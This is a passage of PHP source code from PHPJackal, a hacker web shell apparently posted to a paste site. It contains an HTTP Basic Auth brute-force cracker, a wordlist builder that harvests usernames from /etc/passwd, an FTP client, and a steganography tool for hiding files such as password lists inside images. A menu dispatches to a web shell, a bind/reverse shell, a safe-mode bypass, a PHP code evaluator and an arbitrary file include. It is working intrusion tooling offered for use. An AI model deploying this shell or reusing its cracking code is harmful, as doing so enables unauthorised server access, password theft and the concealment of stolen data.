  2208. if($windows)echo 'Unable to read from '.htmlspecialchars($_REQUEST['input'])."<br />";
  2209. else{
  2210. $input=explode("\n",shelL("cat $input"));
  2211. $output=fopen($_REQUEST['output'],'w');
  2212. if($output){
  2213. foreach($input as $in){
  2214. $user=$in;
  2215. $user=trim(fgets($in)," \n\r");
  2216. if(!strstr($user,':'))continue;
  2217. $user=substr($user,0,(strpos($user,':')));
  2218. if($combo)fwrite($output,$user.':'.$user."\n");else fwrite($output,$user."\n");
  2219. }
  2220. fclose($input);fclose($output);
  2221. echo '<font color=blue>Done</font>';
  2222. }
  2223. }
  2224. }
  2225. else{
  2226. $output=fopen($_REQUEST['output'],'w');
  2227. if($output){
  2228. while(!feof($input)){
  2229. $user=trim(fgets($input)," \n\r");
  2230. if(!strstr($user,':'))continue;
  2231. $user=substr($user,0,(strpos($user,':')));
  2232. if($combo)fwrite($output,$user.':'.$user."\n");else fwrite($output,$user."\n");
  2233. }
  2234. fclose($input);fclose($output);
  2235. echo '<font color=blue>Done</font>';
  2236. }
  2237. else echo 'Unable to write data to '.htmlspecialchars($_REQUEST['input'])."<br />";
  2238. }
  2239. }elseif(!empty($_REQUEST['url']) && !empty($_REQUEST['output'])){
  2240. $res=downloadiT($_REQUEST['url'],$_REQUEST['output']);
  2241. if($combo && $res){
  2242. $file=file($_REQUEST['output']);
  2243. $output=fopen($_REQUEST['output'],'w');
  2244. foreach($file as $v)fwrite($output,"$v:$v\n");
  2245. fclose($output);
  2246. }
  2247. echo '<font color=blue>Done</font>';
  2248. }else{
  2249. $temp=whereistmP().DIRECTORY_SEPARATOR;
  2250. echo '<form name=wordlist method="POST"><div class="fieldwrapper"><label class="styled" style="width:320px">Wordlist generator</label>
  2251. </div><div class="fieldwrapper"><label class="styled">Range:</label><div class="thefield"><select name=range><option value=a>a-z</option><option value=A>A-Z</option><option value=1>0-9</option></select>
  2252. </div></div><div class="fieldwrapper"><label class="styled">min lenght:</label><div class="thefield"><select name=min><option value=1>1</option><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8>8</option><option value=9>9</option><option value=10>10</option></select></div>
  2253. </div><div class="fieldwrapper"><label class="styled">Max lenght:</label><div class="thefield"><select name=max><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8>8</option><option value=9>9</option><option value=10>10</option><option value=11>11</option></select></div>
  2254. </div><div class="fieldwrapper"><label class="styled">Output:</label><div class="thefield"><input type="text" name="output" value="'.$temp.'.dic" size="30" /></div>
  2255. </div><div class="fieldwrapper"><label class="styled">Format:</label><div class="thefield"><input type=checkbox name=combo value=1 checked> Combo style output
  2256. </div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" value="Make" style="margin-left: 150px;" /></div></form><br /><form name=grab method="POST"><div class="fieldwrapper"><label class="styled" style="width:320px">Grab dictionary</label></div><div class="fieldwrapper"><label class="styled">Input:</label><div class="thefield"><input type="text" name="input" value="/etc/passwd" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Output:</label><div class="thefield"><input type="text" name="output" value="'.$temp.'.dic" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Format:</label><div class="thefield"><input type=checkbox name=combo value=1 checked> Combo style output</div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" value="Grab" style="margin-left: 150px;" />
  2257. </div></form><br /><form name=dldic method="POST"><div class="fieldwrapper"><label class="styled" style="width:320px">Download dictionary</label>
  2258. </div><div class="fieldwrapper"><label class="styled">URL:</label><div class="thefield"><input type="text" name="url" value="http://people.sc.fsu.edu/~jburkardt/datasets/words/wordlist.txt" size="30" />
  2259. </div></div><div class="fieldwrapper"><label class="styled">Output:</label><div class="thefield"><input type="text" name="output" value="'.$temp.'.dic" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Format:</label><div class="thefield"><input type=checkbox name=combo value=1 checked> Combo style output</div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" value="Get" style="margin-left: 150px;" /></div></form><br />';
  2260. }
  2261. }
  2262. function ftpclienT(){
  2263. global $cwd,$hcwd;
  2264. echo '<img src="http://h.ackerz.com/PHPJackal/images/ftp.png" style="border: none; margin: 0;" /><br /><br />';
  2265. if(!empty($_REQUEST['hosT']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && function_exists('ftp_connect')){
  2266. $user=$_REQUEST['useR'];$pass=$_REQUEST['pasS'];$host=$_REQUEST['hosT'];
  2267. $con=ftp_connect($_REQUEST['hosT'],21,10);
  2268. if($con){
  2269. if(ftp_login($con,$user,$pass)){
  2270. if(!empty($_REQUEST['PWD']))ftp_chdir($con,$_REQUEST['PWD']);
  2271. if(!empty($_REQUEST['filE'])){
  2272. $file=$_REQUEST['filE'];
  2273. $mode=(isset($_REQUEST['modE']))?FTP_BINARY:FTP_ASCII;
  2274. if(isset($_REQUEST['geT']))ftp_get($con,$file,$file,$mode);
  2275. elseif(isset($_REQUEST['puT']))ftp_put($con,$file,$file,$mode);
  2276. elseif(isset($_REQUEST['rM'])){
  2277. ftp_rmdir($con,$file);
  2278. ftp_delete($con,$file);
  2279. }
  2280. elseif(isset($_REQUEST['mD']))ftp_mkdir($con,$file);
  2281. }
  2282. $pwd=ftp_pwd($con);
  2283. $dir=ftp_nlist($con,'');
  2284. $d=opendir($cwd);
  2285. echo "<table border=0 cellspacing=0 cellpadding=0><tr><th>$host</th><th>";if(!empty($_SERVER['SERVER_ADDR']))echo $_SERVER['SERVER_ADDR'];else echo'127.0.0.1'; echo "</th></tr><form method=POST><tr><td><input type=text value='$pwd' name=PWD size=50><input value=Change class=buttons type=submit></td><td><input size=50 type=text value='$cwd' name=workingdiR><input value=Change class=buttons type=submit></td></tr><tr><td>";
  2286. foreach($dir as $n)echo "$n<br />";
  2287. echo "</td><td>";while($cdir=readdir($d))if($cdir!='.' && $cdir!='..')echo "$cdir<br>"; echo "</td></tr><tr><td colspan=2>Name:<input type=text name=filE><input type=checkbox style='border-width:1px;background-color:#333333;' name=modE value=1>Binary <input type=submit name=geT class=buttons value=Get><input type=submit name=puT class=buttons value=Put><input type=submit name=rM class=buttons value=Remove><input type=submit name=mD class=buttons value='Make dir'></td><td><input type=hidden value='$user' name=useR><input type=hidden value='$pass' name=pasS><input type=hidden value='$host' name=hosT></form></tr></td></table>";
  2288. }else echo "Wrong username or password!";
  2289. }else echo "Can not connect to server!";
  2290. }
  2291. else{
  2292. echo '
  2293. <form name=client method="POST">
  2294. <div class="fieldwrapper">
  2295. <label class="styled" style="width:320px">FTP client</label>
  2296. </div><div class="fieldwrapper">
  2297. <label class="styled">Server:</label>
  2298. <div class="thefield">
  2299. <input type="text" name="hosT" value="localhost" size="30" />
  2300. </div>
  2301. </div><div class="fieldwrapper">
  2302. <label class="styled">Username:</label>
  2303. <div class="thefield">
  2304. <input type="text" name="useR" value="anonymous" size="30" />
  2305. </div>
  2306. </div><div class="fieldwrapper">
  2307. <label class="styled">Password:</label>
  2308. <div class="thefield">
  2309. <input type="text" name="pasS" value="[email protected]" size="30" />
  2310. </div>
  2311. </div>
  2312. '.$hcwd.'
  2313. <div class="buttonsdiv">
  2314. <input type="submit" value="Connect" style="margin-left: 150px;" />
  2315. </div></form>';
  2316. }
  2317. }
  2318. function calC(){
  2319. global $hcwd;
  2320. echo '<img src="http://h.ackerz.com/PHPJackal/images/converter.png" style="border: none; margin: 0;" /><br /><br />';
  2321. $fu=array('-','md5','sha1','crc32','hex','ip2long','decbin','dechex','hexdec','bindec','long2ip','base64_encode','base64_decode','urldecode','urlencode','des','strrev');
  2322. if(!empty($_REQUEST['input']) && (in_array($_REQUEST['to'],$fu))){
  2323. $to=$_REQUEST['to'];
  2324. echo '<form class="form" method="POST">';
  2325. echo '<div class="fieldwrapper">
  2326. <label class="styled">Output:</label>
  2327. <div class="thefield"><textarea readonly="readonly">';
  2328. if($to=='hex')for($i=0;$i<strlen($_REQUEST['input']);$i++)echo '%'.strtoupper(dechex(ord($_REQUEST['input']{$i})));
  2329. else echo $to($_REQUEST['input']);
  2330. echo '</textarea></div></div>';
  2331. }
  2332. echo '
  2333. <form method="POST" class="form">
  2334. <div class="fieldwrapper">
  2335. <label class="styled">Input:</label>
  2336. <div class="thefield">
  2337. <textarea name="input">';if(!empty($_REQUEST['input']))echo htmlspecialchars($_REQUEST['input']);echo '</textarea>
  2338. </div>
  2339. </div><div class="fieldwrapper">
  2340. <label class="styled">Function:</label>
  2341. <div class="thefield">
  2342. <select name="to">
  2343. <option value="md5">MD5</option>
  2344. <option value="sha1">SHA1</option>
  2345. <option value="crc32">Crc32</option>
  2346. <option value="strrev">Reverse</option>
  2347. <option value="ip2long">IP to long</option>
  2348. <option value="long2ip">Long to IP</option>
  2349. <option value="decbin">Decimal to binary</option>
  2350. <option value="bindec">Binary to decimal</option>
  2351. <option value="dechex">Decimal to hex</option>
  2352. <option value="hexdec">Hex to decimal</option>
  2353. <option value="hex">ASCII to hex</option>
  2354. <option value="urlencode">URL encoding</option>
  2355. <option value="urldecode">URL decoding</option>
  2356. <option value="base64_encode">Base64 encoding</option>
  2357. <option value="base64_decode">Base64 decoding</option>
  2358. </select>
  2359. </div>
  2360. </div>'.$hcwd.'
  2361. <div class="buttonsdiv">
  2362. <input type="submit" value="Convert" style="margin-left: 150px;" />
  2363. </div>
  2364. </form>';
  2365. }
  2366. function stegn0(){
  2367. global $hcwd;
  2368. echo '<img src="http://h.ackerz.com/PHPJackal/images/stegno.png" style="border: none; margin: 0;" /><br /><br />';
  2369. if(!extension_loaded('gd')){
  2370. echo "GD extension is not installed. You can't use this section without it.";
  2371. return;
  2372. }
  2373. if(!empty($_REQUEST['maskimagE']) && !empty($_REQUEST['hidefilE']) && !empty($_REQUEST['outfilE'])){
  2374. echo stegfilE($_REQUEST['maskimagE'],$_REQUEST['hidefilE'],$_REQUEST['outfilE']);
  2375. }elseif (!empty($_REQUEST['revimagE'])){
  2376. echo steg_recoveR(($_REQUEST['revimagE']));
  2377. }
  2378. else echo '
  2379. <form name=stegn method="POST">
  2380. <div class="fieldwrapper">
  2381. <label class="styled" style="width:320px">Steganographer</label>
  2382. </div><div class="fieldwrapper">
  2383. <label class="styled">Mask image: (JPEG)</label>
  2384. <div class="thefield">
  2385. <input type="text" name="maskimagE" value="banner.jpg" size="30" />
  2386. </div>
  2387. </div><div class="fieldwrapper">
  2388. <label class="styled">File to hide:</label>
  2389. <div class="thefield">
  2390. <input type="text" name="hidefilE" value="pass.lst" size="30" />
  2391. </div>
  2392. <div class="fieldwrapper">
  2393. <label class="styled">Outout: (PNG)</label>
  2394. <div class="thefield">
  2395. <input type="text" name="outfilE" value="banner.png" size="30" />
  2396. </div>
  2397. </div>
  2398. '.$hcwd.'
  2399. <div class="buttonsdiv">
  2400. <input type="submit" name="stegn0" value="Combine" style="margin-left: 150px;" />
  2401. </div>
  2402. </form>
  2403. <br />
  2404. <form name=rev method="POST">
  2405. <div class="fieldwrapper">
  2406. <label class="styled" style="width:320px">Reveal</label>
  2407. </div><div class="fieldwrapper">
  2408. <label class="styled">Steganographed image: (PNG)</label>
  2409. <div class="thefield">
  2410. <input type="text" name="revimagE" value="banner.png" size="30" />
  2411. </div>
  2412. </div>
  2413. '.$hcwd.'
  2414. <div class="buttonsdiv">
  2415. <input type="submit" name="stegn0" value="Reveal" style="margin-left: 150px;" />
  2416. </div>
  2417. </form>';
  2418. }
  2419. function authcrackeR(){
  2420. global $hcwd;
  2421. if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
  2422. if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0;
  2423. $data='';
  2424. $method=($_REQUEST['method'])?'POST':'GET';
  2425. if(strstr($_REQUEST['target'],'?')){$data=substr($_REQUEST['target'],strpos($_REQUEST['target'],'?')+1);$_REQUEST['target']=substr($_REQUEST['target'],0,strpos($_REQUEST['target'],'?'));}
  2426. spliturL($_REQUEST['target'],$host,$page);
  2427. $type=$_REQUEST['combo'];
  2428. $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:'';
  2429. if($method=='GET')$page.=$data;
  2430. $dictionary=fopen($_REQUEST['dictionary'],'r');
  2431. echo '<font color=blue>';
  2432. while(!feof($dictionary)){
  2433. if($type){
  2434. $combo=trim(fgets($dictionary)," \n\r");
  2435. $user=substr($combo,0,strpos($combo,':'));
  2436. $pass=substr($combo,strpos($combo,':')+1);
  2437. }else{
  2438. $pass=trim(fgets($dictionary)," \n\r");
  2439. }
  2440. $so=fsockopen($host,80,$en,$es,5);
  2441. if(!$so){echo "Can not connect to host";break;}
  2442. else{
  2443. $packet="$method /$page HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nConnection: Close\r\nAuthorization: Basic ".base64_encode("$user:$pass");
  2444. if($method=='POST')$packet.='Content-Type: application/x-www-form-urlencoded\r\nContent-Length: '.strlen($data);
  2445. $packet.="\r\n\r\n";
  2446. $packet.=$data;
  2447. fputs($so,$packet);
  2448. $res=substr(fgets($so),9,2);
  2449. fclose($so);
  2450. if($res=='20'){echo "U: $user P: $pass</br>";if($log)file_add_contentS($file,"U: $user P: $pass\r\n");}
  2451. }
  2452. }
  2453. echo 'Done!</font>';
  2454. }else echo '
  2455. <form name=cracker method="POST">
  2456. <div class="fieldwrapper">
  2457. <label class="styled" style="width:320px">HTTP Auth cracker</label>
  2458. </div><div class="fieldwrapper">
  2459. <label class="styled">Target:</label>
  2460. <div class="thefield">
  2461. <input type="text" name="target" value="localhost" size="30" />
  2462. </div>
  2463. </div><div class="fieldwrapper">
  2464. <label class="styled">Dictionary:</label>
  2465. <div class="thefield">
  2466. <input type="text" name="dictionary" size="30" />
  2467. </div>
  2468. </div><div class="fieldwrapper">
  2469. <label class="styled">Dictionary type:</label>
  2470. <div class="thefield">
  2471. <ul style="margin-top:0;">
  2472. <li><input type="radio" value="0" checked name="combo" onClick="document.cracker.user.disabled = false;" /> <label>Simple (P)</label></li>
  2473. <li><input type="radio" name="combo" value="1" onClick="document.cracker.user.disabled = true;" /> <label>Combo (U:P)</label></li>
  2474. </ul>
  2475. </div>
  2476. </div>
  2477. <div class="fieldwrapper">
  2478. <label class="styled">Method:</label>
  2479. <div class="thefield">
  2480. <select name="method"><option selected value="1">POST</option><option value="0">GET</option></select>
  2481. </div>
  2482. </div><div class="fieldwrapper">
  2483. <label class="styled">Username:</label>
  2484. <div class="thefield">
  2485. <input type="text" name="user" size="30" />
  2486. </div>
  2487. </div><div class="fieldwrapper">
  2488. <label class="styled"><input type=checkbox name=loG value=1 onClick="document.cracker.logfilE.disabled = !document.cracker.logfilE.disabled;" checked> Log:</label>
  2489. <div class="thefield">
  2490. <input type=text name=logfilE size=25 value="'.whereistmP().DIRECTORY_SEPARATOR.'.log">
  2491. </div>
  2492. </div>
  2493. '.$hcwd.'
  2494. <div class="buttonsdiv">
  2495. <input type="submit" name="start" value="Start" style="margin-left: 150px;" />
  2496. </div>
  2497. </form>';
  2498. }
  2499. function openiT($name){
  2500. $ext=end(explode('.',$name));
  2501. $src=array('php','php3','php4','phps','phtml','phtm','inc');
  2502. $img=array('gif','jpg','jpeg','bmp','png','tif','ico');
  2503. if(in_array($ext,$src))highlight_file($name);
  2504. elseif (in_array($ext,$img)){showimagE($name);return;}
  2505. else echo '<font color=blue><pre>'.htmlspecialchars(file_get_contents($name)).'</pre></font>';
  2506. echo '<br /><a href="javascript: history.go(-1)"><img src="http://h.ackerz.com/PHPJackal/images/back.png" /><b>Back</b></a>';
  2507. }
  2508. function opensesS($name){
  2509. $sess=file_get_contents($name);
  2510. $var=explode(';',$sess);
  2511. echo "<pre>Name\tType\tValue\r\n";
  2512. foreach($var as $v){
  2513. $t=explode('|',$v);
  2514. $c=explode(':',$t[1]);
  2515. $y='';
  2516. if($c[0]=='i')$y='Integer';elseif($c[0]=='s')$y='String';elseif($c[0]=='b')$y='Boolean';elseif($c[0]=='f')$y='Float';elseif($c[0]=='a')$y='Array';elseif($c[0]=='o')$y='Object';elseif($c[0]=='n')$y='Null';
  2517. echo $t[0]."\t$y\t".$c[1]."\r\n";
  2518. }
  2519. echo '</pre>';
  2520. }
  2521. function logouT(){
  2522. setcookie('passw','',time()-10000);
  2523. header('Location: '.hlinK());
  2524. }
  2525. ?>
  2526. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2527. <html xmlns="http://www.w3.org/1999/xhtml">
  2528. <head>
  2529. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
  2530. <title>PHPJackal [<?php echo $cwd;?>]</title>
  2531. <link rel="stylesheet" type="text/css" href="http://h.ackerz.com/PHPJackal/style.css"/>
  2532. <link rel="shortcut icon" href="http://h.ackerz.com/PHPJackal/favicon.ico" type="image/x-icon" />
  2533. <?php if($_REQUEST['seC']=='fm')
  2534. echo '
  2535. <script language="JavaScript" type="text/JavaScript">
  2536. function chmoD($file){
  2537. $ch=prompt("Changing file mode["+$file+"]: ex. 777","");
  2538. if($ch != null)location.href="'. hlinK('seC=fm&workingdiR='.addslashes($cwd).'&chmoD=').'"+$file+"&modE="+$ch;
  2539. }
  2540. </script>';
  2541. ?>
  2542. </head>
  2543. <body>
  2544. <div class="left">
  2545. <img src="http://h.ackerz.com/PHPJackal/images/banner.png" alt="banner" />
  2546. <ul>
  2547. <li <?php if($_REQUEST['seC']=='sysinfo')echo 'class="active"'?>><a href="<?php echo hlinK("seC=sysinfo&workingdiR=$cwd");?>">Information</a></li>
  2548. <li <?php if($_REQUEST['seC']=='fm' || $_REQUEST['seC']=='openit')echo 'class="active"'?>><a href="<?php echo hlinK("seC=fm&workingdiR=$cwd");?>">File manager</a></li>
  2549. <li <?php if($_REQUEST['seC']=='edit')echo 'class="active"'?>><a href="<?php echo hlinK("seC=edit&workingdiR=$cwd");?>">Editor</a></li>
  2550. <li <?php if($_REQUEST['seC']=='webshell')echo 'class="active"'?>><a href="<?php echo hlinK("seC=webshell&workingdiR=$cwd");?>">Web shell</a></li>
  2551. <li <?php if($_REQUEST['seC']=='br')echo 'class="active"'?>><a href="<?php echo hlinK("seC=br&workingdiR=$cwd");?>">B/R shell</a></li>
  2552. <li <?php if($_REQUEST['seC']=='asm')echo 'class="active"'?>><a href="<?php echo hlinK("seC=asm&workingdiR=$cwd");?>">Safe-mode</a></li>
  2553. <li <?php if($_REQUEST['seC']=='sqlcl')echo 'class="active"'?>><a href="<?php echo hlinK("seC=sqlcl&workingdiR=$cwd");?>">SQL client</a></li>
  2554. <li <?php if($_REQUEST['seC']=='ftpc')echo 'class="active"'?>><a href="<?php echo hlinK("seC=ftpc&workingdiR=$cwd");?>">FTP client</a></li>
  2555. <li <?php if($_REQUEST['seC']=='mailer')echo 'class="active"'?>><a href="<?php echo hlinK("seC=mailer&workingdiR=$cwd");?>">Mail sender</a></li>
  2556. <li <?php if($_REQUEST['seC']=='eval')echo 'class="active"'?>><a href="<?php echo hlinK("seC=eval&workingdiR=$cwd");?>">PHP evaler</a></li>
  2557. <li <?php if($_REQUEST['seC']=='sc')echo 'class="active"'?>><a href="<?php echo hlinK("seC=sc&workingdiR=$cwd");?>">Scanners</a></li>
  2558. <li <?php if($_REQUEST['seC']=='cr' || $_REQUEST['seC']=='dic' || $_REQUEST['seC']=='auth' || $_REQUEST['seC']=='fcr' || $_REQUEST['seC']=='snmp' || $_REQUEST['seC']=='hc')echo 'class="active"'?>><a href="<?php echo hlinK("seC=cr&workingdiR=$cwd");?>">Crackers</a></li>
  2559. <li <?php if($_REQUEST['seC']=='px')echo 'class="active"'?>><a href="<?php echo hlinK("seC=px&workingdiR=$cwd");?>">Web pr0xy</a></li>
  2560. <li <?php if($_REQUEST['seC']=='steg')echo 'class="active"'?>><a href="<?php echo hlinK("seC=steg&workingdiR=$cwd");?>">Stegano</a></li>
  2561. <li <?php if($_REQUEST['seC']=='tools')echo 'class="active"'?>><a href="<?php echo hlinK("seC=tools&workingdiR=$cwd");?>">Tools</a></li>
  2562. <li <?php if($_REQUEST['seC']=='calc')echo 'class="active"'?>><a href="<?php echo hlinK("seC=calc&workingdiR=$cwd");?>">Converter</a></li>
  2563. <li <?php if($_REQUEST['seC']=='phpjackal')echo 'class="active"'?>><a href="<?php echo hlinK("seC=phpjackal&workingdiR=$cwd");?>">PHPJackal</a></li>
  2564. <li <?php if($_REQUEST['seC']=='about')echo 'class="active"'?>><a href="<?php echo hlinK("seC=about&workingdiR=$cwd");?>">About</a></li>
  2565. <?php if(isset($_COOKIE['passw']))echo '<li><a href="'. hlinK("seC=logout").'">Logout</a></li>';?>
  2566. </ul></div>
  2567. <div class="right">
  2568. <div class="content">
  2569. <?php
  2570. if(!empty($_REQUEST['seC'])){
  2571. switch($_REQUEST['seC']){
  2572. case 'fm':filemanageR();break;
  2573. case 'sc':scanneR();break;
  2574. case 'phpinfo':phpinfo();break;
  2575. case 'edit':
  2576. if(!empty($_REQUEST['Save'])){
  2577. $filehandle=fopen($_REQUEST['filE'],'w');
  2578. fwrite($filehandle,$_REQUEST['edited']);
  2579. fclose($filehandle);}
  2580. if(!empty($_REQUEST['filE']))editoR($_REQUEST['filE']);else editoR('');
  2581. break;
  2582. case 'openit':openiT($_REQUEST['namE']);break;
  2583. case 'cr':crackeR();break;
  2584. case 'dic':dicmakeR();break;
  2585. case 'tools':toolS();break;
  2586. case 'hex':hexvieW();break;
  2587. case 'img':showimagE($_REQUEST['filE']);break;
  2588. case 'inc':if(file_exists($_REQUEST['filE']))include($_REQUEST['filE']);break;
  2589. case 'hc':hashcrackeR();break;
  2590. case 'fcr':formcrackeR();break;
  2591. case 'auth':authcrackeR();break;
  2592. case 'ftpc':ftpclienT();break;
  2593. case 'eval':phpevaL();break;
  2594. case 'phpjackal':phpjackal();break;
  2595. case 'snmp':snmpcrackeR();break;
  2596. case 'px':pr0xy();break;
  2597. case 'steg':stegn0();break;
  2598. case 'webshell':webshelL();break;
  2599. case 'mailer':maileR();break;
  2600. case 'br':brshelL();break;
  2601. case 'asm':safemodE();break;
  2602. case 'sqlcl':sqlclienT();break;
  2603. case 'calc':calC();break;
  2604. case 'sysinfo':sysinfO();break;
  2605. case 'checksum':checksuM($_REQUEST['filE']);break;
  2606. case 'logout':logouT();break;
  2607. default: echo $intro;}}else echo $intro;
  2608. ?>
  2609. <div id="footer" style="margin-top:100px; width:500px">&copy; 2010 <a href="http://h.ackerz.com"><strong>H.ackerz.com</strong></a><br/>Created by NetJackal
  2610. </div>
  2611. </div>
  2612. </div>
  2613. </body>
  2614. </html>
Add Comment
Please, Sign In to add comment